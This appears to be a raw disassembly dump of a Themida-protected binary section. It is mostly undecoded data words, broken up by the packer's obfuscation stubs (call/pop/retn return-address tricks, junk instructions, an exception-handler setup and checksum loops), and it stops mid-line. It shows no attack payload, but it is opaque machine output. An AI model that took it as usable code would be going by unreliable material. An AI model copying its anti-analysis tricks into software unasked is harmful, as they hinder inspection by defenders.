2474895Eh dd 24448104h, 1804h, 0C3564600h, 0D99B2993h, 31BD01BFh dd 8B07FA31h, 0FA14BDBDh, 0B8868907h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F7EFC353h, 88C1849Ah, 0FDEBF0Fh, 387h, 0DA8B6600h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0F27B6C3h, 1781h, 0FE85700h, 0A0000000h dd 0CF61081Ah, 88F054Dh, 98859DCh, 5B5F40CDh, 0EB96B5FFh dd 0DA8A07FDh, 1C9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0AF50FCC3h, 965EC271h dd 0E850F98Bh, 0Eh, 6B99F6AEh dd 869CF85Ah, 0BB1EAC72h, 965B2320h, 0B5FFF98Bh, 7FDEB96h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0F0C35040h dd 1D9595FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 111FF1C3h, 53605FB5h, 0BE95FF9h dd 86000000h, 0C08C1054h, 2C8571C8h, 89610288h, 0FA0E1D9Dh dd 31BD8307h, 7FA01h, 82840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 112EDBC3h dd 6817D796h, 50F916DBh, 13E8h, 0E76F00h, 78B83723h, 0B7DF6138h dd 7DEBD25h, 7AF155FEh, 5F6EB353h, 2434895Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 61C35141h, 0BE3779A6h dd 17BEFE2Eh, 0E820FB9h, 0E8000000h, 6, 33BBDFB5h, 0FD8AB2AAh dd 5FF8515Bh, 0EB96B5FFh, 9D8B07FDh, 7FA2E65h, 1CB595FFh dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 25A6A5C3h, 0E91BF726h, 0D8B70F53h, 96B5FF5Fh dd 107FDEBh, 0FA316D95h, 0AD95FF07h, 8907FA21h, 0FA16C98Dh dd 699D8B07h, 8307FA28h, 0FA2221BDh, 840F0207h, 59h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0BBC35141h, 0A4E1CD10h dd 0BD89098Ah, 7FA3295h, 1615858Bh, 0FE8B07FAh, 6A0000C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0A1D2C351h, 72DF765Ah, 50BB66EBh, 0DD85C7BCh dd 7FA16h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E923C357h, 0FFFFF3FCh, 8E9h dd 8AB8C900h, 9A7E50C5h, 0FC18B35h, 0DE8BD9B7h, 199858Dh dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 3B3AC9C3h, 90F88B9Fh, 0BB665250h, 310FE1E5h dd 585A01B3h, 0BF605750h, 5833131Dh, 5F61B2B4h, 0BDBD8B90h dd 0B307FA1Dh, 31006AA9h, 0FA2F69BDh, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2181C351h, 0BD8B641Dh, 7FA1675h, 0AE9h, 0DA462D00h dd 0D0608184h, 8DF88672h, 0FF0AA585h, 0DBD0107h, 8007FA24h dd 0C0839CEBh, 8B50F805h, 240489D8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 98C35545h, 51AE5A69h, 8E0F73BFh dd 6, 222D9D8Bh, 0B58907FAh, 7FA2A2Dh, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0CEB407C3h, 0F6B70F60h, 2215BD89h, 6A6107FAh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E0845BDDh, 0FF2FB74Ch, 0FA2BE995h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E233137Eh, 0D7118D8Dh, 816607FDh, 0FFC8B3F7h, 83EAB7D1h dd 0FA33EDBDh, 850F0107h, 0D2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 30C35343h, 26A66EEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0FF947B0h dd 0D381FBB7h, 4BE8BB35h, 1270D381h, 60905CDBh, 0DE85250h dd 83000000h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 66310F58h dd 5A3660BBh, 7E858h, 0B0350000h, 20CD6965h, 5E5A5145h dd 810F5061h, 15h, 0F840Fh, 0AE90000h, 0DE000000h, 1F4CAE2Fh dd 0BFBDCCC2h, 0E956900Fh, 9, 3C87EE53h, 56B9AF28h, 95FF5F80h dd 7FA1C95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 63C35242h, 986AF9C0h, 1EE95A69h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FF0AAFh push 0 push edx call sub_5D3F02 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3F02 proc near ; CODE XREF: Themida_:005D3EFAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5D3F02 endp ; --------------------------------------------------------------------------- cmpsd jmp short loc_5D3F83 ; --------------------------------------------------------------------------- db 79h, 66h, 81h dd 0E9C493DFh, 0Fh, 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh dd 8D92068Ah, 0FDB95985h, 66519007h, 5BFD23BBh, 8B666050h dd 0EE960D7h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh dd 0F28B663Ch, 0F906161h, 158Ah, 0F890F00h, 0E9000000h dd 0Ah, 74D7100h, 0E75AE8E7h, 8B665105h, 35FF64FAh, 0 ; --------------------------------------------------------------------------- movzx edi, di loc_5D3F83: ; CODE XREF: Themida_:005D3F13j mov large fs:0, esp mov ebx, [ebp+7FA2EEDh] mov di, cx inc dword ptr [ebp+7FA1049h] push 0 push edi call sub_5D3FA4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3FA4 proc near ; CODE XREF: Themida_:005D3F9Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5D3FA4 endp ; --------------------------------------------------------------------------- dd 36E62F86h, 6AFBB70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 4580902Fh, 16A482Ch, 8D0FFCh dd 0FF000000h, 0FA2149B5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BFF5898Dh dd 603827F3h, 287595FFh, 9E907FAh, 29000001h, 0FA2041BDh dd 8B00B007h, 0FA1115BDh, 8B70E607h, 0FA28619Dh, 0F71E407h dd 613CFAB7h, 0E6830Fh, 0BD8B0000h, 7FA33F1h, 0BAC8B60Fh dd 6, 0BD8BDA8Bh, 7FA24B1h, 0CE9C18Bh, 0F7000000h, 6B01B372h dd 65DC54E2h, 0C16FCADDh, 0DA8B04E8h, 89E2F766h, 0FA2E6595h dd 0B3C82B07h, 31D18BD6h, 0FA316D95h, 9EE907h, 49B30000h dd 4858Bh, 0F600000h, 68Dh, 49B58900h, 2907FA08h, 0FA0F9195h dd 0C0836107h, 99BD0307h, 8307FA00h, 9D8B00C0h, 7FA31C9h dd 830FD03Bh, 0Eh, 38A0Fh, 0DF800000h, 5AE9BBh, 8D8B0000h dd 0FFFFFFFFh, 9FA2D381h, 0E1835838h, 45840F01h, 0E9000000h dd 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 4860Fh dd 0BB660000h, 0A5833256h, 0FFFFFFFFh, 8D9D8BFEh, 8907FA16h dd 495h, 9E900h, 0BDBE0000h, 0CCD9D29h, 0E93E6BDDh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE854Fh] mov [ebp+7FA1F3Dh], ebx push 0 push 0 push eax call sub_5D413D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D413D proc near ; CODE XREF: Themida_:005D4135p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5D413D endp ; --------------------------------------------------------------------------- db 65h, 54h, 8Ah dd 619D8BFCh, 6607FA27h, 95FFD98Bh, 7FA1019h, 12E8h, 8E253E00h dd 623912DEh, 712B7DFBh, 16D20F06h, 1467C0Ch, 0FA220DBDh dd 0DAB95B07h, 8B00000Eh, 0FCE183D8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 62C35242h, 8B03604Ah, 0F98AD320h dd 2D8589FCh, 0B807FA2Fh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5D41C3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D41C3 proc near ; CODE XREF: Themida_:005D41BBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5D41C3 endp ; --------------------------------------------------------------------------- aas mov al, ds:994A9509h push edi mov di, 0F0EEh sub [ebp+7FA2B39h], ebx sub edx, edx jz loc_5D41EF movzx ebx, di loc_5D41EF: ; CODE XREF: Themida_:005D41E6j ; Themida_:005D41F9j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D41EF add bl, 98h push 0 push edi call sub_5D4209 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4209 proc near ; CODE XREF: Themida_:005D4201p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5D4209 endp ; --------------------------------------------------------------------------- db 70h, 8Bh, 0D8h ; --------------------------------------------------------------------------- or eax, 88h mov [ebp+7FA0571h], esi and edi, [ebp+7FA29B1h] mov edx, [ebp+7FA1CD9h] push 0 push edi call sub_5D423E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D423E proc near ; CODE XREF: Themida_:005D4236p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5D423E endp ; --------------------------------------------------------------------------- dw 2499h dd 5B73FD3h, 0BD09ECE1h, 7FA2955h, 29818589h, 8D8B07FAh dd 7FA31ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 67C35141h, 4D8CEB9Dh, 0B1D5D7F4h, 51953191h, 5007FA06h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 3DA8A58h dd 0FA0839BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 1186DD49h, 0AE0AC0BEh dd 0BD836A81h, 7FA2A29h, 97840F00h, 66000000h, 8F5DD781h dd 0E8F0Fh, 0F600000h, 84h, 65953300h, 6107FA2Dh, 0B8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 84194BE2h, 0FA8B66FEh, 4F668D8Dh, 6A07FAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 718F64C3h, 5E6C2BA2h, 99D8B92h, 0FF07FA2Ch, 53006AE1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0E6904A4h, 0A0DFEB81h, 0BD833FECh, 7FA2BD9h, 0B1840F00h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 24D2C357h, 0D4B3D712h, 2AF1A579h dd 2BD9BD83h, 0F0107FAh, 39A84h, 0E5958900h, 8307FA07h dd 0FA2BD9BDh, 860F0307h, 351h, 0AC9642BFh, 6A6062h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 28D89BC3h, 9094953Bh, 8BD98C66h, 0FA2EA5BDh, 4E18007h dd 29B58D89h, 952907FAh, 7FA21A1h, 840FC90Ah, 106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A0C35545h, 0DBFCAE5Fh dd 64BF660Ah, 0E9858B9Ah, 6607FA0Fh, 9462CB81h, 15E18533h dd 880F07FAh, 15h, 0DE8h, 976B1400h, 0D8D9DAEDh, 0F4057006h dd 0DE8AFD6Fh, 68F0F5Fh, 31000000h, 0FA2379BDh, 8FB75007h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B634C356h, 0BD2B1928h, 850F60B4h dd 6, 14B18D31h, 8E0F07FAh, 6, 23F1858Bh, 6A6107FAh, 0DBBF6600h dd 46DE6847h, 0BB660E0Dh, 34814305h, 12452124h, 0AE90Eh dd 81E40000h, 0AF3477C0h, 0DBF69095h, 0AA5BD2Bh, 95FF07FAh dd 7FA1CE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0CC35141h, 1C9C4EF8h, 8B66EADBh, 968589FBh, 8007FDEBh dd 0AAE90CD3h, 0F000001h, 858BF9B7h, 7FDEB8Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h, 0F67D38Ch dd 1482h, 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h dd 0C7DA8B98h, 1800h, 0B6E8BF00h, 0B58B74DAh, 7FDEB92h dd 2C01B531h, 858B07FAh, 7FA0D51h, 6860Fh, 0BD8B0000h dd 7FA294Dh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 512019C3h, 8D91A5D9h, 3189813Fh dd 0FA1EC5BDh, 10E807h, 6FD90000h, 4ADB3C08h, 3EF7736Fh dd 2529D59Fh, 8B5B9FFFh, 0FA0FE985h, 0D88B6607h, 0E8044689h dd 7, 4E564F22h, 0E9D593F2h, 10h, 0F948318Dh, 0A14FA3A2h dd 63C3EA2Dh, 0C22879A1h, 0D1BF965Bh, 50273CD5h, 0CE95250h dd 0DC000000h, 0BC068C2Eh, 93ED9E8h, 0FA7F8EBh, 0AE931h dd 71C50000h, 51B89698h, 519C9901h, 6696585Ah, 0DF89EF81h dd 0EB8EB5FFh, 80B707FDh, 4E8h, 1F03FF00h, 20CEBB00h, 0E9501F25h dd 14h, 0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h dd 424448Bh, 8BDA8Ah, 4489CEB7h, 8B580424h, 96858DFBh dd 8007FDEBh, 0BB6649CFh, 6090DD59h, 0F811B866h, 5E9h dd 4F7C6300h, 5061CA80h, 10E8h, 69C26A00h, 0F1DCA04Ch dd 0D29130C3h, 9A73A4F8h, 12E908h, 15BA0000h, 3A5B8BACh dd 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 0C6BF905Bh, 0FF6D1B06h dd 0FA1CE995h, 0D3816107h, 20EDFD5Bh, 2BD985C7h, 307FAh dd 0BD8B0000h, 7FA1C31h, 0EB96BD83h, 0F0007FDh, 3884h dd 0D5BD2B00h, 0E907FA25h, 48h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 79C35141h, 97E0B5F8h, 6220F408h dd 3FE8B5Ch, 0FA0F219Dh, 0C305007h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 6CC35242h, 6AE83AC4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4AD6C353h dd 600C789Ch, 2EC9BD09h, 11E807FAh, 0F9000000h, 0A6CF740Eh dd 0C8A0B8CFh, 7E1DE3D1h, 293515DDh, 61596160h, 2BD9BD83h dd 0F0307FAh, 40385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0E2AEAD4Bh, 0EF5D2B79h dd 14E93Dh, 5D1A0000h, 3CB2D88h, 987063C4h, 0C84E4C4Fh dd 0F0BCAE1Fh, 0BD830DEDh, 7FDEB96h, 0B9840F00h, 0FF000003h dd 0FDEB96B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0B0CB802Ch, 274595FFh dd 0BB6607FAh, 0B58B4280h, 7FDEB8Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 70C35242h, 9550E2CFh, 1545BD8Bh dd 6C707FAh, 10001h, 68C0Fh, 0BD8B0000h, 7FA25ADh, 8820F96h dd 0F000000h, 287h, 505B5000h, 4C18BB66h, 50006A96h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F3AC5D4h, 6084DBC6h, 9E8h, 0A106BB00h, 270575C6h, 5F5221A0h dd 96B5FF5Fh, 6A07FDEBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F6FC352h, 684h, 0B8666000h dd 0FF61047Fh, 0FA18E195h, 4D8D8907h, 0BB07FA0Dh, 0AA75D2Fh dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 59767CC3h, 1F09BD89h, 9D8B07FAh dd 7FA0AF1h, 6830Fh, 85010000h, 7FA015Dh, 1C7D858Bh, 11E907FAh dd 0E000000h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0C4AED767h dd 29D1BD8Bh, 868907FAh, 0C4h, 6E9h, 89128E00h, 8B397E61h dd 0FA1CD995h, 0E1858907h, 8307FA02h, 0F6B304C2h, 6A205089h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D5B6C353h, 7BA2A10Ah, 73D2E8Fh, 0F890Fh dd 0AE90000h, 0E4000000h, 0B76CF2B1h, 0DDED8028h, 0D78166C2h dd 858D348Ah, 7FDFEF7h, 868933B3h, 0B8h, 0BE9h, 5DECEE00h dd 752E773Ah, 7A31ADDh, 810F006Ah, 2, 0B5FFDE8Bh, 7FDEB96h dd 651ADBFh, 9595FF28h, 6607FA1Ch, 78DC381h, 0BE996h, 27AA0000h dd 0DC79FDDFh, 896A0058h, 0BF6650A9h, 6A96CC42h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 261CC352h, 0CD3E3598h dd 0B58914AFh, 7FA3139h, 0EB96B5FFh, 0B53107FDh, 7FA08A1h dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D2B66C3h, 7FA2A31h, 131BD83h, 0F0007FAh dd 2E84h, 3721BF00h, 60502D2Bh, 68F0Fh, 8E0F0000h, 0 dd 0EE8h, 0E0D5E400h, 0F7FD25F7h, 0DF956C98h, 66E81E5Bh dd 615FC38Bh, 0FF243489h, 0FDEB96B5h, 1D852907h, 0FF07FA2Dh dd 0FA1CB595h, 0A820F07h, 60000000h, 0D681CF8Bh, 3E201C00h dd 96B5FF61h, 8B07FDEBh, 0FA20BDBDh, 11E807h, 1B460000h dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 66168316h, 0FF5FF98Bh dd 0FA21AD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0F73B7BDh, 0BD83DABFh dd 7FA2221h, 6C840F02h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D3ACC355h dd 2CE70B87h, 858BEA72h, 7FA1615h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0CBC35040h, 0B6272BDBh, 0C649h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DDC35242h dd 0C7DF8B1Ah, 0FA16DD85h, 7, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EABFF2E2h dd 0A5EC56FDh, 0FFF3DAE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D0B82B4h dd 7FA2E99h, 8B66C18Bh, 99858DD9h, 6A07FA01h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0FC32C352h, 501FB390h, 0EF5C76BFh, 14E99013h, 0A6000000h dd 0A712945Fh, 0E97E9124h, 0AA44A6C2h, 0CE9DB09Dh, 6A4FD2DEh dd 6830F00h, 89000000h, 0FA0E198Dh, 0F8BF0F07h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 9373CBC3h, 0C98160E4h, 556106E9h, 8E9h, 66D37D00h, 0BA4332ACh dd 0F38161CBh, 46BC04AFh, 19E1858Dh, 12E907FFh, 0B5000000h dd 9CBF54C3h, 4DAD58DFh, 29181CEBh, 48AEF3A2h, 952960ACh dd 7FA15E9h, 8361C28Ah, 6A05C0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 57533BC3h, 6690C41Ch dd 9050FE8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 7EC35141h, 66990C49h, 0BCB7F98Bh, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0DFA4D4C3h, 800FBBD0h, 0Ah, 5958B60h, 5707FA0Dh, 6A615Ah dd 11E8h, 7AD3F100h, 421FCCE4h, 0A4676AFEh, 0C7B50980h dd 66573792h, 5B5BF88Bh, 2BE995FFh, 0BD8B07FAh, 7FA259Dh dd 12E9h, 0D52E1700h, 38EAE0B2h, 0B51D7843h, 11DF2BF3h dd 8D52C7F5h, 0FDD7118Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D55EF98Ch dd 0BD8B0EE2h, 7FA078Dh, 7D9D8B50h, 5F07FA0Eh, 0BB66D1FFh dd 0BD83D026h, 7FA33EDh, 57850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 94D3C353h, 26A5DE6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 4DC35545h, 0F215C894h, 0DA8B6650h, 0BB240489h dd 77B0A3Ch, 1C9595FFh, 0BB6607FAh, 1BE9A329h, 0E800000Eh dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FF19EBh push 0 push ebx call sub_5D4E3E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4E3E proc near ; CODE XREF: Themida_:005D4E36p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5D4E3E endp ; --------------------------------------------------------------------------- dw 0C90Fh dd 3518A3Ch, 0ECB36F0Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 4CC35141h, 4BC78166h, 59858DB9h, 6A07FDB9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0C8C4C353h, 8C30A825h, 0F2504E0h, 681h, 60DB8100h dd 9018330Ah, 56505B56h, 905BD88Bh, 2B798529h, 616007FAh dd 35FF64h, 81000000h, 21939DF7h, 2589642Fh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D4EDF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4EDF proc near ; CODE XREF: Themida_:005D4ED7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5D4EDF endp ; --------------------------------------------------------------------------- db 61h dd 0C13A4FD6h, 890F66h, 0FF000000h, 0FA104985h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0D6105EFAh, 0F5A39068h, 6820F01h, 0B000000h, 0FA0E299Dh dd 0E9FF6A07h, 0Dh, 27A4DC05h, 0C2318729h, 0C4EC879Eh dd 0EDB5FFBAh, 0FF07FA28h, 0FA287595h, 152E907h, 880F0000h dd 6, 3175BD89h, 0B007FAh, 0E6FE8B66h, 759D8B70h, 0E407FA25h dd 0D4F38171h, 3C77DC01h, 29830F61h, 0F000001h, 0B60FD8B7h dd 41BD2BC8h, 0E807FA2Fh, 0Fh, 0B71A89DDh, 6A92C0F6h, 9199ACE3h dd 0F425219h, 80h, 6BA5B00h, 0E9000000h, 14h, 18C70BA7h dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 176C524Bh, 0AE8C18Bh dd 81000000h, 88381987h, 0A988F9BEh, 7E8C3h, 0E9750000h dd 7743C5CFh, 0C15B5F41h, 0B50904E8h, 7FA1D25h, 81E2F766h dd 0A49720CFh, 8AC82B50h, 89D18BFDh, 0FA1BE1B5h, 0A2E907h dd 8B570000h, 0FA21D5BDh, 858B5F07h, 5F4C4C44h, 0C083C2B7h dd 58F0F07h, 66000000h, 5F9FDF81h, 0C083DA8Bh, 13E85600h dd 0E6000000h, 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh dd 0C3816B1Bh, 5F45A176h, 830F5F5Bh, 3, 3BDFBF0Fh, 18830FD0h dd 89000000h, 0FA155185h, 2DDFBB07h, 3DE918D8h, 50000000h dd 91BD33h, 8B5F07FAh, 0FFFFFF8Dh, 9D9589FFh, 8307FA0Bh dd 840F01E1h, 20h, 0A583F88Bh, 0FFFFFFFFh, 0E5BD8BFEh dd 8907FA00h, 4C4C4495h, 0A99D8B5Fh, 0E907FA29h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE9429h] mov bl, 0F8h push 0 push 0 push esi call sub_5D50BD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D50BD proc near ; CODE XREF: Themida_:005D50B5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5D50BD endp ; --------------------------------------------------------------------------- db 0E7h, 0DDh, 44h dd 0FFFBBF0Fh, 0FA101995h, 8E807h, 95100000h, 0CD0BA59Bh dd 0C781473Ah, 62DF8E04h, 0F86B95Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0AE9CCC3h dd 0A8000000h, 0F85C6390h, 6E7069BEh, 0FCE183F0h, 1895BD8Bh dd 816607FAh, 0FCB780EBh, 11E960FCh, 0BA000000h, 804892FEh dd 65C51CDh, 0C127CC0Ch, 33B55D49h, 25BD9529h, 0B86107FAh dd 0 ; --------------------------------------------------------------------------- mov bx, ax mov edx, 0 sub [ebp+7FA0B9Dh], eax loc_5D515E: ; CODE XREF: Themida_:005D5168j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D515E push 0 push edx call sub_5D5175 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5175 proc near ; CODE XREF: Themida_:005D516Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5D5175 endp ; --------------------------------------------------------------------------- dec ebx test [esi-4Dh], ebp cmp eax, 6F605BAh sub [ebp+7FA353Dh], edx push 0 push ecx call sub_5D519F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D519F proc near ; CODE XREF: Themida_:005D5197p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5D519F endp ; --------------------------------------------------------------------------- db 67h dd 0EDBD89CDh, 0D07FA01h, 88h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 36C35242h, 784922ACh, 62E7B133h dd 55858969h, 8B07FA17h, 0FA281D9Dh, 0D9958B07h, 6A07FA1Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 8457C350h, 978D792Ch, 9D8B0A8Fh, 7FA0821h dd 2299BD8Bh, 8D8B07FAh, 7FA31ADh, 820Fh, 8B500000h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0E4C35343h, 0B6B2DB84h, 3DB40CEEh dd 6009CB81h, 6A1BDDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 83030CC3h, 0FA2A29BDh, 840F0007h dd 6Dh, 0A58D8B60h, 8B07FA01h, 0FA113DBDh, 0B86107h, 8B000000h dd 0FA26FD9Dh, 668D8D07h, 6A07FA4Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BF7C355h dd 8B6660F8h, 0C9B866F3h, 0E1FF61FEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 3C35343h, 8CFC99A1h, 68E78166h dd 0D9BD8336h, 7FA2Bh, 3CA840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D57516C3h dd 5E00CCD7h, 8B8AAC5Eh, 0FA1759BDh, 0D9BD8307h, 